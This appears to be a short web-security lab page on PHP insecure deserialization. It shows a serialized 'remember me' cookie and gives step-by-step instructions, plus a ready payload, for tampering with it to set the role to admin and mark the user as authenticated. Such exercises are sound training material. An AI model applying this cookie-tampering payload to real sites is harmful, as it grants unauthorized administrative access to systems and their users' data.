This site uses a serialized RememberMeToken cookie for persistent logins.
Token loaded — user: user_42,
authenticated: false,
role: viewer
Fresh token issued.
O:15:"RememberMeToken":4:{s:6:"userId";s:7:"user_42";s:4:"role";s:6:"viewer";s:15:"isAuthenticated";b:0;s:7:"expires";s:10:"2026-08-22";}
Decode the remember_token cookie from base64. Modify the serialized object:
— Set isAuthenticated to b:1
— Set role to admin
Re-encode to base64 and replace the cookie.
Target payload example:
O:15:"RememberMeToken":4:{s:6:"userId";s:7:"user_42";s:4:"role";s:5:"admin";s:15:"isAuthenticated";b:1;s:7:"expires";s:10:"2025-12-31";}